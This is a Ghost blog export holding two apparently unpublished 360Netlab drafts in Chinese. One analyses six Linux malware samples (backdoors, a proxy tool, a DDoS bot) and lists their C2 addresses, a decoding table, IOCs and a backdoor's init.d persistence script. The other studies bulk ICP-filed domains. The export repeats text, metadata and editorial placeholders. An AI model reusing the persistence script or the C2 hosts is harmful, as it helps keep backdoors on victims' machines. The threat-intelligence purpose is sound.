作者：yegenshen， Rootkiter 引 近日 360Netlab 对大量已公开的 Linux 类样本进行了集中的梳理，从中发现了一批可疑样本，它们在VT上的检出率均很低甚至未检出。 分析后，我们推测：作者在相关开发过程中动了一些心思，并针对性的做了一些工作，虽然其中的一部分还未挖掘到更多的威胁证据，但这些心思或工作却值得警惕，选择在这里集中披露，是希望各安全从业者能够补充更多的数据拼图，或在后续的工作中能够识别出相似的威胁。 恶意工具 样本1 -- ReverseShell后门 样本（daca1d5e464d3320f90b773c1e355211）是个工具类后门，主要功能是：在受害机器上，提供一个系统命令的执行环境。 它通过I/O重定向的方式来提供执行环境，相关代码片段如下： 这个执行环境会通过反弹连接的形式交接给C2服务器（seo.spider-sina.com/47.90.82.16），相关代码如下所示： 这种反弹shell类后门，一般应用在渗透攻击的初期，在这个阶段的攻击者，要想执行一条系统命令，可能会有很多前置准备工作要做，而这种后门就是一个获得相对稳定的主机控制权的工具。这类工具的成功运行一般也标志着攻击者获得了该机器的暂时控制权。 其次，spider-sina.com 这个域名具有一定的迷惑性，不警惕的话，很可能会将其归为合理的sina流量。 样本2 -- 网络连通测试工具 样本（39e4adea8c9c4e929892a5e7e453c105）是个测试网络连通性的工具。 核心功能：能够访问 46.243.189.102 就返回1，否则返回0。 相关代码截图如下： 这种工具，可能有两种用途： 在渗透测试中，可用于判定目标机器是否具有访问外网地址的能力。以便在目标网络中筛选出最合适的跳板机，为后续跨网段的渗透攻击做铺垫。 另一种是用于沙盒探测，当样本在沙盒内自动运行后，沙盒的IP地址就暴露了。 单从样本角度来看，样本中出现的IP地址并不能表明一定属于原作者，只能说有极大的概率属于原作者。 样本3 -- 开代理工具 样本（0329c69d07f674267740f4bef8914342）是个开代理的工具，工作在MIPS架构的CPU下。 工具运行后，会在本地 6129 端口绑定一个socks代理服务。并将状态汇报至 185.244.25.254:6129 。 下图是处理 socks 代理请求的相关代码，供读者参考： 该类工具，可能有两种用途： 如用于建立代理网络，那么后续这个代理网络将可能被用于，攻击源隐藏，绕过防爬虫策略，刷票，薅羊毛等。 在后渗透测试中，可用于将目标机器转化为攻击跳板，向更深的网络发起渗透攻击。 样本4 -- anacroni后门 样本（bcc79f90cf253c6fa6be10dcaec0f4ec）是一个提供系统命令执行环境的后门，构造较为复杂，从中我们还看到了 Dofloo 家族的影子，比如具有代表性的函数名：ServerConnectCli。 其C2地址(43.251.17.126:1882)是经过简单异或计算后得到的，相关代码截图如下： 相比以 DDOS 为主业的 Dofloo 家族，anacroni 只有执行系统命令的能力。也就是说它只是一个后门工具。样本对私有协议的处理如下图所示： 从上图的代码可以看出，通讯协议比较简单，只包含指令码和指令参数两部分。其中当指令码为 0x99 或 0x99988 时均为执行系统命令，而命令的具体内容则是从第4字节偏移处开始的数据。 另外，样本还会释放 "/etc/init.d/anacroni" 文件作为启动文件，内容如下： #!/bin/bash #chkconfig: 2345 81 96 #description: Starttomcat start() { chmod 777 /bin/anacroni /bin/anacroni } stop() { echo "exit....." } case "$1" in start) start ;; stop) stop ;; *) esac exit 0 如此，anacroni 后门服务的形式留存宿主机了。 恶意软件 样本5 -- Santan Linux （这一节，比绿盟的报告分析的版本老，所以看看是不是要删掉） http://blog.nsfocus.net/handbook-disposal-satan-viruses/ 这个家族其实绿盟在头几个月已经分析过，这里就不再细说。从版本上看，绿盟分析的是1.10版本，而我们看到的是1.05版本（5a5676827c8c818d6d201e903109ec1e），相比1.10版，样本缺少了cry 和 mn 模块，这表明该样本仅保有扩散传播的能力。样本中内置了3个IP地址（111.90.158.225/107.179.65.195/ 23.247.83.135）当发展到 1.10 版本时， 111.90.158.225 这个地址就被保留了。 在分析中，我们还看到了所谓的conn模块（1e22346711916fb0b02964bb4a3d3a1a），绿盟当时的文中只提到有 230 个扫描目标端口，而没给具体的端口列表，这里一并贴上来，作为补充。方便各安全工作者根据自身需求优化捕获或防御策略。 样本6 -- Wat zullen we drinken 样本（204b4cc2a99ba16b0651a627f3d47764）是一个工作在ARM平台下的僵尸网络，具有ddos功能。 可发起tcp,std,udp,http四种类型的ddos攻击，相关功能函数列表，如下所示: 样本中存在一个数据解密算法，是一个字符替换方式的解密算法，被用于指令数据，和静态字符串的解密。整理后的解码表（ASCII 码对照表）如下： { 33: 86, 36: 108, 37: 66, 38: 80, 41: 117, 42: 97, 43: 88, 44: 54, 45: 56, 46: 122, 49: 106, 50: 84, 51: 109, 52: 69, 53: 81, 54: 75, 55: 111, 56: 87, 57: 89, 58: 32, 59: 52, 60: 115, 61: 67, 62: 68, 63: 99, 64: 50, 65: 120, 66: 55, 67: 114, 68: 82, 69: 102, 70: 116, 75: 113, 84: 110, 85: 95, 90: 57, 95: 51, 97: 78, 98: 77, 99: 76, 100: 85, 101: 74, 102: 73, 103: 72, 104: 71, 105: 70, 106: 98, 107: 83, 109: 49, 110: 100, 111: 107, 112: 65, 113: 105, 114: 121, 115: 104, 116: 119, 117: 118, 118: 101, 119: 53, 120: 48, 121: 46, 122: 112, 124: 103, 126: 79 } 将样本中的加密字串解密后，明文内容如下： register remove std udp httptcp no name 185.244.25.177 Wat zullen we drinken GET HTTP 1.1 Host Connection close 其中 185.244.25.177 就是该样本的C2地址，端口地址为 40721，相关连接段代码如下图所示： 从我们的监控数据来看，目前这个C2地址已经很久没有活跃了，目前这个地址开了一个22端口的SSH服务。 在解密后的密文中有个内容为 “Wat zullen we drinken” 的字符串，运行成功后这个字串会被输出到控制台。搜索后找到一首歌曲，感兴趣的可以找来听听。 IOC MD5: daca1d5e464d3320f90b773c1e355211 39e4adea8c9c4e929892a5e7e453c105 0329c69d07f674267740f4bef8914342 bcc79f90cf253c6fa6be10dcaec0f4ec 5a5676827c8c818d6d201e903109ec1e Santan Linux 1e22346711916fb0b02964bb4a3d3a1a Santan Linux conn 204b4cc2a99ba16b0651a627f3d47764 C2: seo.spider-sina.com 47.90.82.16 46.243.189.102 185.244.25.254 43.251.17.126 111.90.158.225 // Santan Linux 107.179.65.195 // Santan Linux 23.247.83.135 // Santan Linux 185.244.25.177

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"作者：yegenshen， Rootkiter\n# 引\n近日 360Netlab 对大量已公开的 Linux 类样本进行了集中的梳理，从中发现了一批可疑样本，它们在VT上的检出率均很低甚至未检出。\n\n分析后，我们推测：作者在相关开发过程中动了一些心思，并针对性的做了一些工作，虽然其中的一部分还未挖掘到更多的威胁证据，但这些心思或工作却值得警惕，选择在这里集中披露，是希望各安全从业者能够补充更多的数据拼图，或在后续的工作中能够识别出相似的威胁。\n\n# 恶意工具\n## 样本1 -- ReverseShell后门\n\n样本（daca1d5e464d3320f90b773c1e355211）是个工具类后门，主要功能是：在受害机器上，提供一个系统命令的执行环境。\n\n它通过`I/O重定向`的方式来提供执行环境，相关代码片段如下：\n\n\n\n这个执行环境会通过反弹连接的形式交接给C2服务器（seo.spider-sina.com/47.90.82.16），相关代码如下所示：\n\n\n\n这种反弹shell类后门，一般应用在渗透攻击的初期，在这个阶段的攻击者，要想执行一条系统命令，可能会有很多前置准备工作要做，而这种后门就是一个获得相对稳定的主机控制权的工具。这类工具的成功运行一般也标志着攻击者获得了该机器的暂时控制权。\n\n其次，spider-sina.com 这个域名具有一定的迷惑性，不警惕的话，很可能会将其归为合理的sina流量。\n\n## 样本2 -- 网络连通测试工具\n\n样本（39e4adea8c9c4e929892a5e7e453c105）是个测试网络连通性的工具。\n\n核心功能：能够访问 46.243.189.102 就返回1，否则返回0。\n\n相关代码截图如下：\n\n\n\n这种工具，可能有两种用途：\n\n```\n 在渗透测试中，可用于判定目标机器是否具有访问外网地址的能力。以便在目标网络中筛选出最合适的跳板机，为后续跨网段的渗透攻击做铺垫。\n 另一种是用于沙盒探测，当样本在沙盒内自动运行后，沙盒的IP地址就暴露了。\n```\n\n单从样本角度来看，样本中出现的IP地址并不能表明一定属于原作者，只能说有极大的概率属于原作者。\n\n## 样本3 -- 开代理工具\n\n样本（0329c69d07f674267740f4bef8914342）是个开代理的工具，工作在MIPS架构的CPU下。\n\n工具运行后，会在本地 6129 端口绑定一个socks代理服务。并将状态汇报至 185.244.25.254:6129 。\n\n下图是处理 socks 代理请求的相关代码，供读者参考：\n\n\n\n该类工具，可能有两种用途：\n 如用于建立代理网络，那么后续这个代理网络将可能被用于，攻击源隐藏，绕过防爬虫策略，刷票，薅羊毛等。\n 在后渗透测试中，可用于将目标机器转化为攻击跳板，向更深的网络发起渗透攻击。\n\n\n## 样本4 -- anacroni后门\n样本（bcc79f90cf253c6fa6be10dcaec0f4ec）是一个提供系统命令执行环境的后门，构造较为复杂，从中我们还看到了 Dofloo 家族的影子，比如具有代表性的函数名：ServerConnectCli。\n\n\n\n其C2地址(43.251.17.126:1882)是经过简单异或计算后得到的，相关代码截图如下：\n\n\n相比以 DDOS 为主业的 Dofloo 家族，anacroni 只有执行系统命令的能力。也就是说它只是一个后门工具。样本对私有协议的处理如下图所示：\n\n\n\n从上图的代码可以看出，通讯协议比较简单，只包含`指令码`和`指令参数`两部分。其中当指令码为 0x99 或 0x99988 时均为执行系统命令，而命令的具体内容则是从第4字节偏移处开始的数据。\n\n另外，样本还会释放 \"/etc/init.d/anacroni\" 文件作为启动文件，内容如下：\n```\n#!/bin/bash\n#chkconfig: 2345 81 96\n#description: Starttomcat\nstart() {\nchmod 777 /bin/anacroni\n/bin/anacroni\n}\nstop() {\necho \"exit.....\"\n}\ncase \"$1\" in\nstart)\nstart\n;;\nstop)\nstop\n;;\n*)\nesac\nexit 0\n```\n\n如此，anacroni 后门服务的形式留存宿主机了。\n\n# 恶意软件\n\n## 样本5 -- Santan Linux\n**（这一节，比绿盟的报告分析的版本老，所以看看是不是要删掉）**\n\nhttp://blog.nsfocus.net/handbook-disposal-satan-viruses/\n\n这个家族其实绿盟在头几个月已经分析过，这里就不再细说。从版本上看，绿盟分析的是1.10版本，而我们看到的是1.05版本（5a5676827c8c818d6d201e903109ec1e），相比1.10版，样本缺少了cry 和 mn 模块，这表明该样本仅保有扩散传播的能力。样本中内置了3个IP地址（111.90.158.225/107.179.65.195/ 23.247.83.135）当发展到 1.10 版本时， 111.90.158.225 这个地址就被保留了。\n\n在分析中，我们还看到了所谓的conn模块（1e22346711916fb0b02964bb4a3d3a1a），绿盟当时的文中只提到有 230 个扫描目标端口，而没给具体的端口列表，这里一并贴上来，作为补充。方便各安全工作者根据自身需求优化捕获或防御策略。\n\n\n\n## 样本6 -- Wat zullen we drinken\n\n样本（204b4cc2a99ba16b0651a627f3d47764）是一个工作在ARM平台下的僵尸网络，具有ddos功能。\n\n可发起tcp,std,udp,http四种类型的ddos攻击，相关功能函数列表，如下所示:\n\n\n\n样本中存在一个数据解密算法，是一个字符替换方式的解密算法，被用于指令数据，和静态字符串的解密。整理后的解码表（ASCII 码对照表）如下：\n```\n{\n 33: 86, 36: 108, 37: 66, 38: 80, 41: 117, 42: 97, 43: 88, 44: 54,\n 45: 56, 46: 122, 49: 106, 50: 84, 51: 109, 52: 69, 53: 81, 54: 75,\n 55: 111, 56: 87, 57: 89, 58: 32, 59: 52, 60: 115, 61: 67, 62: 68,\n 63: 99, 64: 50, 65: 120, 66: 55, 67: 114, 68: 82, 69: 102, 70: 116,\n 75: 113, 84: 110, 85: 95, 90: 57, 95: 51, 97: 78, 98: 77, 99: 76,\n 100: 85, 101: 74, 102: 73, 103: 72, 104: 71, 105: 70, 106: 98, 107: 83,\n 109: 49, 110: 100, 111: 107, 112: 65, 113: 105, 114: 121, 115: 104, 116: 119,\n 117: 118, 118: 101, 119: 53, 120: 48, 121: 46, 122: 112, 124: 103, 126: 79\n}\n```\n\n将样本中的加密字串解密后，明文内容如下：\n```\nregister\nremove\nstd\nudp\nhttptcp\nno name\n185.244.25.177\nWat zullen we drinken\nGET\nHTTP\n1.1\nHost\nConnection\nclose\n```\n其中 185.244.25.177 就是该样本的C2地址，端口地址为 40721，相关连接段代码如下图所示： \n\n\n\n从我们的监控数据来看，目前这个C2地址已经很久没有活跃了，目前这个地址开了一个22端口的SSH服务。\n\n在解密后的密文中有个内容为 “Wat zullen we drinken” 的字符串，运行成功后这个字串会被输出到控制台。搜索后找到一首歌曲，感兴趣的可以找来听听。\n\n# IOC\n\n**MD5:**\n```\ndaca1d5e464d3320f90b773c1e355211\n39e4adea8c9c4e929892a5e7e453c105\n0329c69d07f674267740f4bef8914342\nbcc79f90cf253c6fa6be10dcaec0f4ec\n5a5676827c8c818d6d201e903109ec1e Santan Linux\n1e22346711916fb0b02964bb4a3d3a1a Santan Linux conn\n204b4cc2a99ba16b0651a627f3d47764\n```\n\n**C2:**\n```\nseo.spider-sina.com\n47.90.82.16\n46.243.189.102\n185.244.25.254\n43.251.17.126\n111.90.158.225 // Santan Linux\n107.179.65.195 // Santan Linux\n23.247.83.135 // Santan Linux\n185.244.25.177\n```\n\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

163

post

2019-01-11T09:33:48.000Z

63873b9a8b1c1e0007f52f3f

untitled-10

2019-01-14T04:54:06.000Z

public

draft

anacroni后门

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164

post

2019-01-14T08:17:06.000Z

63873b9a8b1c1e0007f52f40

pi-liang-de-icpbei-an-yu-ming

2019-01-16T11:15:04.000Z

public

draft

批量的ICP备案域名

<!--kg-card-begin: markdown--><h2 id="">异常发现</h2> <p>在360netlab的DNSMon系统中，最近发现一批非常<strong>奇特</strong>的域名。所谓奇特是指其域名格式较为统一，同时ICP备案的名称则为汉语中的 成语 + 网 构成，并且注册的公司主题都是太原的某些公司，不出意外，备案号都是 <strong>晋ICP备</strong> 开头的备案号。一批例子如下：</p> <ul> <li>rxnmwbj.cn 骑牛读汉书网 太原博睿创辉文化传媒有限公司 晋ICP备18012039号</li> <li>actxpbe.cn 藏龙卧虎网 太原三开商贸有限公司 晋ICP备18012107号</li> <li>frnzcpb.cn 鞠躬尽瘁网 太原三开商贸有限公司 晋ICP备18012107号</li> <li>iowxpaf.cn 狡兔三窟网 太原市仁邦商贸有限公司 晋ICP备18012110号</li> <li>tcmekjz.cn 走马观花网 太原三开商贸有限公司 晋ICP备18012107号</li> <li>nmfztug.cn 放荡不羁网 太原市仁邦商贸有限公司 晋ICP备18012110号</li> <li>hrjwmgb.cn 络绎不绝网 太原三开商贸有限公司 晋ICP备18012107号</li> <li>coidkax.cn 江郎才尽网 太原市仁邦商贸有限公司 晋ICP备18012110号</li> <li>dibyngo.cn 自相矛盾网 太原市仁邦商贸有限公司 晋ICP备18012110</li> <li>yorcfdk.cn 霜凋夏緑网 太原市天际达商贸有限公司 晋ICP备18011972号</li> <li>kgoazwi.cn 一马当先网 太原市仁邦商贸有限公司 晋ICP备18012110号</li> <li>cthywqa.cn 骇人听闻网 太原市仁邦商贸有限公司 晋ICP备18012110号</li> <li>jtfhigz.cn 人山人海网 太原市仁邦商贸有限公司 晋ICP备18012110号</li> <li>qoczalt.cn 兢兢业业网 太原三开商贸有限公司 晋ICP备18012107号</li> <li>cqwuzeh.cn 自相矛盾网 太原市仁邦商贸有限公司 晋ICP备18012110号</li> <li>gqhfxwk.cn 藏龙卧虎网 太原三开商贸有限公司 晋ICP备18012107号</li> <li>nyujdoa.cn 藏龙卧虎网 太原三开商贸有限公司 晋ICP备18012107号</li> <li>kmnoigu.cn 毛骨悚然网 太原市仁邦商贸有限公司 晋ICP备18012110号</li> <li>tecldku.cn 油干灯草尽网 太原博睿创辉文化传媒有限公司 晋ICP备18012039号</li> </ul> <p>看到这批数据之后，尤其是那些千奇百怪的网站名称以及较为固定的ICP备案主体，我认为这个有意思的现象并不是偶然，也许在现存的备案过程中存在某些漏洞能够让大规模的批量ICP备案成为可能。而网站ICP备案的目的是 <em>为了防止在网上从事非法的网站经营活动，打击不良互联网信息的传播[1]</em>。如果大规模的批量ICP备案成为可能，那么ICP备案的初衷也就无法实现了。</p> <p>基于此，我对DNSMon中的备案数据进行了一些研究。有了本文。</p> <h2 id="">数据统计</h2> <p>首先我们对DNSMon中检测到的备案数据进行统计分析。</p> <h3 id="">时间趋势</h3> <p>《非经营性互联网信息服务备案管理办法》于2005年3月20日起施行[1]。我们统计了从2005年4月开始的每个月的备案域名数。如下图所示。<br> <img src="__GHOST_URL__/content/images/2019/01/trends.png" alt="" loading="lazy"><br> 可以看出：2018年11月之后，ICP备案的审核数量急剧增长，一个月之内的新审核的域名数量就远远超过了之前每月的审核域名数量，甚至超过了2014年之前的全年的审核总量。<br> 这种急剧的增长显然不能用网络繁荣导致的自然增长来解释。需要进一步仔细研究。</p> <h3 id="">分省统计</h3> <p>考虑到我们观察的到的异常情况，有必要对各个省的ICP备案数量进行分省单独统计。如下图所示，TOP5的省份里面最多的是广东省的ICP备案数接近101万，也是唯一一个超过100万域名的省份。出乎意料的是山西省的备案数据超过了上海，浙江等经济强省。而之前观察到的异常备案数据就来自<strong>晋</strong>，这也许并非巧合。<br> <img src="__GHOST_URL__/content/images/2019/01/province_distr.png" alt="" loading="lazy"><br> 进一步，我们统计了TOP8省份从2005年4月开始的每个月的ICP备案域名数。这次情况就比较明朗了。与总体的数据一致，山西省的ICP备案域名从从2018年11月开始飙增。2018年12月份达到了24.8万，2019年1月份的ICP备案域名数量（截止到2019年1月14日）已经达到了17.3万，远超其他省份的ICP备案数据数量。<br> 另外一个值得注意的一点是，虽然没有山西省的ICP备案增长快，但是湖北省的ICP备案数量从2018年9月份开始也有较快幅度的增长，同样在11、12月达到巅峰，并且在2019年1月仍在持续增长中。<br> <img src="__GHOST_URL__/content/images/2019/01/province_trends.png" alt="" loading="lazy"></p> <p>接下来我们看一下这种批量备案ICP域名的具体情况。</p> <h3 id="">批量备案的整体情况</h3> <p>经过研究，我们发现这种批量ICP备案的域名在注册时，使用的单位名称较为固定，而具体的域名则比较随机。我们以此为特征，对DNSMon中出现的域名进行了筛选。共筛选到大约74万批量备案的域名（截止到2019-01-14），约占总备案域名数的10%。涉及的省份除了山西绝对大头之外，还有湖北，江西，海南等其余20个省份。具体分布如下：<br> <img src="__GHOST_URL__/content/images/2019/01/province_distr_v2_pie.png" alt="" loading="lazy"></p> <h3 id="">批量备案的主体信息</h3> <p>每个备案主体批量备案的域名数量（&gt;100）的分布如下：<br> <img src="__GHOST_URL__/content/images/2019/01/entity_distr_pie.png" alt="" loading="lazy"><br> 可见，绝大多数的批量主体注册量在100～200之间，22%的实体备案的域名个数在500个以上，考虑到其总共备案的域名个数占备案域名数的6%以上，这个比例还是非常惊人的。</p> <h3 id="whois">批量备案域名的whois</h3> <p>在批量备案域名方面，我们好奇这些批量备案的域名是否来自做域名生意的米农。毕竟有备案的域名对米农来说是非常有竞争力的。经过我们的数据分析，可以确认这些批量ICP备案的域名的确来自米农。</p> <p>出于说明问题的目的，我们仅挑选了一个我们看到的最大的域名注册邮箱进行分析。域名注册邮箱为[email protected]，总共注册了491177，备案了49459个域名，约占10.07%。</p> <h4 id="">备案主体</h4> <p>涉及的备案主体个数226个，其中TOP20的备案主体和备案域名个数如下表<br> <img src="__GHOST_URL__/content/images/2019/01/baym@foxmail_entiry.png" alt="" loading="lazy"></p> <h4 id="">备案省份</h4> <p>[email protected]注册的域名备案的省份达11个，每个省所占的比例如下图：<br> <img src="__GHOST_URL__/content/images/2019/01/[email protected]" alt="" loading="lazy"></p> <h4 id="">备案时间</h4> <p>最早的批量备案的审核时间可以追溯至2018年2月，最晚的在2019年1月。具体如下图所示：<br> <img src="__GHOST_URL__/content/images/2019/01/baym@foxmail_date.png" alt="" loading="lazy"></p> <h3 id="">批量备案域名的业务是什么</h3> <p>通过DNSMon系统的分析，这些域名绝大多数都集中在导流，色情，广告，钓鱼等黑色和灰色业务上，具体业务分布如下图所示：</p> <p>（这部分准确的数据需要跑mapreduce进行统计。。。）</p> <h2 id="">结语</h2> <p>问题到这里已经相对比较清楚了，正是由于ICP备案过程中存在的一些漏洞，导致某些操作者能够批量的通过ICP备案来注册域名。并且这种批量的备案是全国普遍性的存在，在山西省表现最为明显。经过批量ICP备案的域名后续的用途则甚为广泛。经过备案的域名的利用价值也必然要比未经备案的域名价值要高。正是由于该漏洞的存在也使得备案这个机制近乎名存实亡。我们希望相关机构能够迅速的补上这个漏洞，减少由此带来的风险。</p> <h2 id="">参考资料</h2> <p>【1】<a href="https://baike.so.com/doc/5327441-5562613.html">https://baike.so.com/doc/5327441-5562613.html</a></p> <!--kg-card-end: markdown-->

异常发现 在360netlab的DNSMon系统中，最近发现一批非常奇特的域名。所谓奇特是指其域名格式较为统一，同时ICP备案的名称则为汉语中的 成语 + 网 构成，并且注册的公司主题都是太原的某些公司，不出意外，备案号都是 晋ICP备 开头的备案号。一批例子如下： * rxnmwbj.cn 骑牛读汉书网 太原博睿创辉文化传媒有限公司 晋ICP备18012039号 * actxpbe.cn 藏龙卧虎网 太原三开商贸有限公司 晋ICP备18012107号 * frnzcpb.cn 鞠躬尽瘁网 太原三开商贸有限公司 晋ICP备18012107号 * iowxpaf.cn 狡兔三窟网 太原市仁邦商贸有限公司 晋ICP备18012110号 * tcmekjz.cn 走马观花网 太原三开商贸有限公司 晋ICP备18012107号 * nmfztug.cn 放荡不羁网 太原市仁邦商贸有限公司 晋ICP备18012110号 * hrjwmgb.cn 络绎不绝网 太原三开商贸有限公司 晋ICP备18012107号 * coidkax.cn 江郎才尽网 太原市仁邦商贸有限公司 晋ICP备18012110号 * dibyngo.cn 自相矛盾网 太原市仁邦商贸有限公司 晋ICP备18012110 * yorcfdk.cn 霜凋夏緑网 太原市天际达商贸有限公司 晋ICP备18011972号 * kgoazwi.cn 一马当先网 太原市仁邦商贸有限公司 晋ICP备18012110号 * cthywqa.cn 骇人听闻网 太原市仁邦商贸有限公司 晋ICP备18012110号 * jtfhigz.cn 人山人海网 太原市仁邦商贸有限公司 晋ICP备18012110号 * qoczalt.cn 兢兢业业网 太原三开商贸有限公司 晋ICP备18012107号 * cqwuzeh.cn 自相矛盾网 太原市仁邦商贸有限公司 晋ICP备18012110号 * gqhfxwk.cn 藏龙卧虎网 太原三开商贸有限公司 晋ICP备18012107号 * nyujdoa.cn 藏龙卧虎网 太原三开商贸有限公司 晋ICP备18012107号 * kmnoigu.cn 毛骨悚然网 太原市仁邦商贸有限公司 晋ICP备18012110号 * tecldku.cn 油干灯草尽网 太原博睿创辉文化传媒有限公司 晋ICP备18012039号 看到这批数据之后，尤其是那些千奇百怪的网站名称以及较为固定的ICP备案主体，我认为这个有意思的现象并不是偶然，也许在现存的备案过程中存在某些漏洞能够让大规模的批量ICP备案成为可能。而网站ICP备案的目的是 为了防止在网上从事非法的网站经营活动，打击不良互联网信息的传播[1]。如果大规模的批量ICP备案成为可能，那么ICP备案的初衷也就无法实现了。 基于此，我对DNSMon中的备案数据进行了一些研究。有了本文。 数据统计 首先我们对DNSMon中检测到的备案数据进行统计分析。 时间趋势 《非经营性互联网信息服务备案管理办法》于2005年3月20日起施行[1]。我们统计了从2005年4月开始的每个月的备案域名数。如下图所示。 可以看出：2018年11月之后，ICP备案的审核数量急剧增长，一个月之内的新审核的域名数量就远远超过了之前每月的审核域名数量，甚至超过了2014年之前的全年的审核总量。 这种急剧的增长显然不能用网络繁荣导致的自然增长来解释。需要进一步仔细研究。 分省统计 考虑到我们观察的到的异常情况，有必要对各个省的ICP备案数量进行分省单独统计。如下图所示，TOP5的省份里面最多的是广东省的ICP备案数接近101万，也是唯一一个超过100万域名的省份。出乎意料的是山西省的备案数据超过了上海，浙江等经济强省。而之前观察到的异常备案数据就来自晋，这也许并非巧合。 进一步，我们统计了TOP8省份从2005年4月开始的每个月的ICP备案域名数。这次情况就比较明朗了。与总体的数据一致，山西省的ICP备案域名从从2018年11月开始飙增。2018年12月份达到了24.8万，2019年1月份的ICP备案域名数量（截止到2019年1月14日）已经达到了17.3万，远超其他省份的ICP备案数据数量。 另外一个值得注意的一点是，虽然没有山西省的ICP备案增长快，但是湖北省的ICP备案数量从2018年9月份开始也有较快幅度的增长，同样在11、12月达到巅峰，并且在2019年1月仍在持续增长中。 接下来我们看一下这种批量备案ICP域名的具体情况。 批量备案的整体情况 经过研究，我们发现这种批量ICP备案的域名在注册时，使用的单位名称较为固定，而具体的域名则比较随机。我们以此为特征，对DNSMon中出现的域名进行了筛选。共筛选到大约74万批量备案的域名（截止到2019-01-14），约占总备案域名数的10%。涉及的省份除了山西绝对大头之外，还有湖北，江西，海南等其余20个省份。具体分布如下： 批量备案的主体信息 每个备案主体批量备案的域名数量（>100）的分布如下： 可见，绝大多数的批量主体注册量在100～200之间，22%的实体备案的域名个数在500个以上，考虑到其总共备案的域名个数占备案域名数的6%以上，这个比例还是非常惊人的。 批量备案域名的whois 在批量备案域名方面，我们好奇这些批量备案的域名是否来自做域名生意的米农。毕竟有备案的域名对米农来说是非常有竞争力的。经过我们的数据分析，可以确认这些批量ICP备案的域名的确来自米农。 出于说明问题的目的，我们仅挑选了一个我们看到的最大的域名注册邮箱进行分析。域名注册邮箱为[email protected]，总共注册了491177，备案了49459个域名，约占10.07%。 备案主体 涉及的备案主体个数226个，其中TOP20的备案主体和备案域名个数如下表 备案省份 [email protected]注册的域名备案的省份达11个，每个省所占的比例如下图： 备案时间 最早的批量备案的审核时间可以追溯至2018年2月，最晚的在2019年1月。具体如下图所示： 批量备案域名的业务是什么 通过DNSMon系统的分析，这些域名绝大多数都集中在导流，色情，广告，钓鱼等黑色和灰色业务上，具体业务分布如下图所示： （这部分准确的数据需要跑mapreduce进行统计。。。） 结语 问题到这里已经相对比较清楚了，正是由于ICP备案过程中存在的一些漏洞，导致某些操作者能够批量的通过ICP备案来注册域名。并且这种批量的备案是全国普遍性的存在，在山西省表现最为明显。经过批量ICP备案的域名后续的用途则甚为广泛。经过备案的域名的利用价值也必然要比未经备案的域名价值要高。正是由于该漏洞的存在也使得备案这个机制近乎名存实亡。我们希望相关机构能够迅速的补上这个漏洞，减少由此带来的风险。 参考资料 【1】https://baike.so.com/doc/5327441-5562613.html

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"##异常发现\n在360netlab的DNSMon系统中，最近发现一批非常**奇特**的域名。所谓奇特是指其域名格式较为统一，同时ICP备案的名称则为汉语中的 成语 + 网 构成，并且注册的公司主题都是太原的某些公司，不出意外，备案号都是 **晋ICP备** 开头的备案号。一批例子如下：\n\n* rxnmwbj.cn\t骑牛读汉书网\t太原博睿创辉文化传媒有限公司\t晋ICP备18012039号\n* actxpbe.cn\t藏龙卧虎网\t太原三开商贸有限公司\t晋ICP备18012107号\n* frnzcpb.cn\t鞠躬尽瘁网\t太原三开商贸有限公司\t晋ICP备18012107号\n* iowxpaf.cn\t狡兔三窟网\t太原市仁邦商贸有限公司\t晋ICP备18012110号\n* tcmekjz.cn\t走马观花网\t太原三开商贸有限公司\t晋ICP备18012107号\n* nmfztug.cn\t放荡不羁网\t太原市仁邦商贸有限公司\t晋ICP备18012110号\n* hrjwmgb.cn\t络绎不绝网\t太原三开商贸有限公司\t晋ICP备18012107号\n* coidkax.cn\t江郎才尽网\t太原市仁邦商贸有限公司\t晋ICP备18012110号\n* dibyngo.cn\t自相矛盾网\t太原市仁邦商贸有限公司\t晋ICP备18012110\n* yorcfdk.cn\t霜凋夏緑网\t太原市天际达商贸有限公司\t晋ICP备18011972号\n* kgoazwi.cn\t一马当先网\t太原市仁邦商贸有限公司\t晋ICP备18012110号\n* cthywqa.cn\t骇人听闻网\t太原市仁邦商贸有限公司\t晋ICP备18012110号\n* jtfhigz.cn\t人山人海网\t太原市仁邦商贸有限公司\t晋ICP备18012110号\n* qoczalt.cn\t兢兢业业网\t太原三开商贸有限公司\t晋ICP备18012107号\n* cqwuzeh.cn\t自相矛盾网\t太原市仁邦商贸有限公司\t晋ICP备18012110号\n* gqhfxwk.cn\t藏龙卧虎网\t太原三开商贸有限公司\t晋ICP备18012107号\n* nyujdoa.cn\t藏龙卧虎网\t太原三开商贸有限公司\t晋ICP备18012107号\n* kmnoigu.cn\t毛骨悚然网\t太原市仁邦商贸有限公司\t晋ICP备18012110号\n* tecldku.cn\t油干灯草尽网\t太原博睿创辉文化传媒有限公司\t晋ICP备18012039号\n\n看到这批数据之后，尤其是那些千奇百怪的网站名称以及较为固定的ICP备案主体，我认为这个有意思的现象并不是偶然，也许在现存的备案过程中存在某些漏洞能够让大规模的批量ICP备案成为可能。而网站ICP备案的目的是 *为了防止在网上从事非法的网站经营活动，打击不良互联网信息的传播[1]*。如果大规模的批量ICP备案成为可能，那么ICP备案的初衷也就无法实现了。\n\n基于此，我对DNSMon中的备案数据进行了一些研究。有了本文。\n\n##数据统计\n首先我们对DNSMon中检测到的备案数据进行统计分析。\n###时间趋势\n《非经营性互联网信息服务备案管理办法》于2005年3月20日起施行[1]。我们统计了从2005年4月开始的每个月的备案域名数。如下图所示。\n\n可以看出：2018年11月之后，ICP备案的审核数量急剧增长，一个月之内的新审核的域名数量就远远超过了之前每月的审核域名数量，甚至超过了2014年之前的全年的审核总量。\n这种急剧的增长显然不能用网络繁荣导致的自然增长来解释。需要进一步仔细研究。\n###分省统计\n考虑到我们观察的到的异常情况，有必要对各个省的ICP备案数量进行分省单独统计。如下图所示，TOP5的省份里面最多的是广东省的ICP备案数接近101万，也是唯一一个超过100万域名的省份。出乎意料的是山西省的备案数据超过了上海，浙江等经济强省。而之前观察到的异常备案数据就来自**晋**，这也许并非巧合。\n\n进一步，我们统计了TOP8省份从2005年4月开始的每个月的ICP备案域名数。这次情况就比较明朗了。与总体的数据一致，山西省的ICP备案域名从从2018年11月开始飙增。2018年12月份达到了24.8万，2019年1月份的ICP备案域名数量（截止到2019年1月14日）已经达到了17.3万，远超其他省份的ICP备案数据数量。\n另外一个值得注意的一点是，虽然没有山西省的ICP备案增长快，但是湖北省的ICP备案数量从